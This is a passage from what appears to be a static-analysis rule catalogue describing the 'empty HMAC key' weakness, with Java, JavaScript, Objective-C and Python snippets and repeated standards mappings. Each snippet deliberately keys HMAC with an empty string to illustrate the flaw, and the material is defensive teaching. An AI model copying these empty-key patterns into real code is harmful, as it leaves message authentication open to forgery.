Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...


The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_empty_hmac_key
Abstract
Empty HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.
Example 1: The following code uses an empty HMAC key to generate the HMAC hash:

...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...


The code in Example 1 might run successfully, but anyone with access to it might figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_empty_hmac_key
Abstract
Empty HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:


...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...


The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_empty_hmac_key
Abstract
Empty HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:


import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...


The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_empty_hmac_key
Abstract
Empty HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
